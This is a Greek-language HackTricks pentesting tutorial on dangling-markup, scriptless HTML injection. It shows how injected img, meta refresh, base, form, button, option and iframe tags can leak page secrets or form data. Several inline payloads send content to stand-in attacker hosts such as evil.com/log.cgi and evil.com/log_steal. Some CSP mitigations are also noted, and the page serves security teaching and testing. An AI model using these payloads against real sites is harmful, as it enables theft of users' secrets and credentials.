Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγει πληροφορίες από έναν χρήστη όταν βρεθεί μια HTML injection. Αυτό είναι πολύ χρήσιμο αν δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα XSS αλλά μπορείτε να εισάγετε μερικές HTML ετικέτες. Είναι επίσης χρήσιμο αν κάποιο μυστικό αποθηκεύεται σε καθαρό κείμενο στο HTML και θέλετε να εξάγετε αυτό από τον πελάτη, ή αν θέλετε να παραπλανήσετε κάποια εκτέλεση σεναρίου.
Διάφορες τεχνικές που αναφέρονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν κάποια Content Security Policy εξάγοντας πληροφορίες με απροσδόκητους τρόπους (html ετικέτες, CSS, http-meta ετικέτες, φόρμες, base...).
Αν εισάγετε <img src='http://evil.com/log.cgi?
όταν φορτώνεται η σελίδα, το θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας img
και της επόμενης απόστροφου μέσα στον κώδικα. Αν κάποιο μυστικό βρίσκεται κάπως σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας μια διπλή απόστροφο, δείτε ποιο θα ήταν πιο ενδιαφέρον να χρησιμοποιήσετε).
Αν η ετικέτα img
είναι απαγορευμένη (λόγω CSP για παράδειγμα) μπορείτε επίσης να χρησιμοποιήσετε <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Σημειώστε ότι το Chrome μπλοκάρει τα HTTP URLs με "<" ή "\n" σε αυτά, οπότε μπορείτε να δοκιμάσετε άλλες πρωτοκόλλες όπως "ftp".
Μπορείτε επίσης να εκμεταλλευτείτε το CSS @import
(θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")
Μπορείτε επίσης να χρησιμοποιήσετε <table
:
Μπορείτε επίσης να εισάγετε μια <base
ετικέτα. Όλες οι πληροφορίες θα σταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτεί κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιον σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει το τομέα που υποδεικνύει ο σύνδεσμος):
Τότε, οι φόρμες που στέλνουν δεδομένα σε διαδρομή (όπως <form action='update_profile.php'>
) θα στείλουν τα δεδομένα στο κακόβουλο domain.
Ορίστε μια κεφαλίδα φόρμας: <form action='http://evil.com/log_steal'>
αυτό θα αντικαταστήσει την επόμενη κεφαλίδα φόρμας και όλα τα δεδομένα από τη φόρμα θα σταλούν στον επιτιθέμενο.
Το κουμπί μπορεί να αλλάξει τη διεύθυνση URL στην οποία θα σταλούν οι πληροφορίες της φόρμας με την ιδιότητα "formaction":
Ένας επιτιθέμενος μπορεί να το χρησιμοποιήσει για να κλέψει τις πληροφορίες.
Βρείτε ένα παράδειγμα αυτής της επίθεσης σε αυτή την αναφορά.
Χρησιμοποιώντας την τελευταία αναφερόμενη τεχνική για να κλέψετε φόρμες (εισάγοντας μια νέα κεφαλίδα φόρμας) μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισόδου:
και αυτό το πεδίο εισόδου θα περιέχει όλο το περιεχόμενο μεταξύ των διπλών εισαγωγικών του και του επόμενου διπλού εισαγωγικού στο HTML. Αυτή η επίθεση συνδυάζει το "Stealing clear text secrets" με το "Stealing forms2".
Μπορείτε να κάνετε το ίδιο πράγμα εισάγοντας μια φόρμα και μια ετικέτα <option>
. Όλα τα δεδομένα μέχρι να βρεθεί μια κλειστή </option>
θα σταλούν:
Μπορείτε να αλλάξετε τη διαδρομή μιας φόρμας και να εισάγετε νέες τιμές ώστε να εκτελείται μια απροσδόκητη ενέργεια:
<noscript></noscript>
Είναι μια ετικέτα του οποίου το περιεχόμενο θα ερμηνευτεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε την Javascript στο Chrome στο chrome://settings/content/javascript).
Ένας τρόπος για να εξάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ένεσης μέχρι το κάτω μέρος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι η ένεση αυτού:
Από αυτήν την έρευνα του portswigger μπορείτε να μάθετε ότι ακόμη και από τα πιο περιορισμένα περιβάλλοντα CSP μπορείτε να εξάγετε δεδομένα με κάποια αλληλεπίδραση χρήστη. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:
Σημειώστε ότι θα ζητήσετε από το θύμα να κλικάρει σε έναν σύνδεσμο που θα ανακατευθύνει αυτόν σε payload που ελέγχετε εσείς. Επίσης, σημειώστε ότι το target
χαρακτηριστικό μέσα στην base
ετικέτα θα περιέχει HTML περιεχόμενο μέχρι το επόμενο μονό απόσπασμα.
Αυτό θα κάνει ώστε η τιμή του window.name
αν κλικάρετε τον σύνδεσμο να είναι όλο αυτό το HTML περιεχόμενο. Επομένως, καθώς ελέγχετε τη σελίδα στην οποία το θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να έχετε πρόσβαση σε αυτό το window.name
και να exfiltrate αυτά τα δεδομένα:
Εισάγετε μια νέα ετικέτα με και id μέσα στο HTML που θα αντικαταστήσει την επόμενη και με μια τιμή που θα επηρεάσει τη ροή ενός script. Σε αυτό το παράδειγμα επιλέγετε με ποιον θα μοιραστεί μια πληροφορία:
Δημιουργήστε μεταβλητές μέσα στο namespace javascript εισάγοντας HTML tags. Στη συνέχεια, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:
Αν βρείτε μια διεπαφή JSONP, θα μπορούσατε να είστε σε θέση να καλέσετε μια αυθαίρετη συνάρτηση με αυθαίρετα δεδομένα:
Ή μπορείτε ακόμη και να προσπαθήσετε να εκτελέσετε κάποια javascript:
Ένα παιδικό έγγραφο έχει τη δυνατότητα να δει και να τροποποιήσει την ιδιότητα location
του γονέα του, ακόμη και σε καταστάσεις διασυνοριακής προέλευσης. Αυτό επιτρέπει την ενσωμάτωση ενός script μέσα σε ένα iframe που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:
Αυτό μπορεί να μετριαστεί με κάτι όπως: sandbox=' allow-scripts allow-top-navigation'
Ένα iframe μπορεί επίσης να καταχραστεί για να διαρρεύσει ευαίσθητες πληροφορίες από μια διαφορετική σελίδα χρησιμοποιώντας το χαρακτηριστικό name του iframe. Αυτό συμβαίνει επειδή μπορείτε να δημιουργήσετε ένα iframe που iframe τον εαυτό του καταχρώντας την HTML injection που κάνει τις ευαίσθητες πληροφορίες να εμφανίζονται μέσα στο χαρακτηριστικό name του iframe και στη συνέχεια να αποκτήσετε πρόσβαση σε αυτό το όνομα από το αρχικό iframe και να το διαρρεύσετε.
Για περισσότερες πληροφορίες ελέγξτε https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Μπορείτε να χρησιμοποιήσετε meta http-equiv
για να εκτελέσετε διάφορες ενέργειες όπως να ρυθμίσετε ένα Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ή να εκτελέσετε μια ανακατεύθυνση (σε 5 δευτερόλεπτα σε αυτή την περίπτωση): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Αυτό μπορεί να αποφευχθεί με μια CSP σχετικά με http-equiv ( Content-Security-Policy: default-src 'self';
, ή Content-Security-Policy: http-equiv 'self';
)
Μπορείτε να βρείτε μια πολύ ενδιαφέρουσα έρευνα για εκμεταλλεύσιμες ευπάθειες του <portal tag εδώ.
Αυτή τη στιγμή της συγγραφής αυτού, πρέπει να ενεργοποιήσετε το portal tag στο Chrome στο chrome://flags/#enable-portals
ή δεν θα λειτουργήσει.
Όλοι οι τρόποι διαρροής συνδεσιμότητας σε HTML δεν θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Αυτή είναι μια μείξη μεταξύ dangling markup και XS-Leaks. Από τη μία πλευρά, η ευπάθεια επιτρέπει να εισαχθεί HTML (αλλά όχι JS) σε μια σελίδα της ίδιας προέλευσης με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα επιτεθούμε άμεσα στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε μια άλλη σελίδα.
XS-Search είναι προσανατολισμένα να εξάγουν πληροφορίες από διαφορετικές προελεύσεις εκμεταλλευόμενα επιθέσεις πλευρικής διαρροής. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, ορισμένες από τις τεχνικές εκμεταλλεύονται την εισαγωγή HTML ετικετών (με και χωρίς εκτέλεση JS), όπως CSS Injection ή Lazy Load Images.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)